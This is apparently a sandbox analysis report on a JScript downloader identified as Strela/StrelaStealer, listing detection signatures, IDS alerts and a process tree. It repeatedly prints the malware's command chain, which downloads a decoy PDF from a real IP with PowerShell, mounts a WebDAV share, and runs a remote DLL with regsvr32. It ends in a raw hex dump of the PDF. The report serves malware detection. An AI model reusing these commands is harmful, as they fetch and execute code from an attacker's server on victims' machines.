Edit tour

Windows Analysis Report
2752019937704124971.js

Overview

General Information

Sample name:	2752019937704124971.js
Analysis ID:	1588552
MD5:	a49f488dc762356096dbd4e0506df40f
SHA1:	a04fcbcaf52d57ba5e32c2bd5310df2bdd8734d1
SHA256:	2291871e49842641934b74a21068112457772d467714d93051cd937650df2027
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7324 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7376 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1756,i,17359756151058756556,4854113092615929534,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7592 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7668 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ProcessId: 7268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7668, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ProcessId: 7268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7592, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7668, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7836, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7592, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7668, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll, ProcessId: 7324, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:19:24.126996+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:19:26.797931+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:19:24.126996+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2752019937704124971.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2752019937704124971.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2752019937704124971.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:19:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 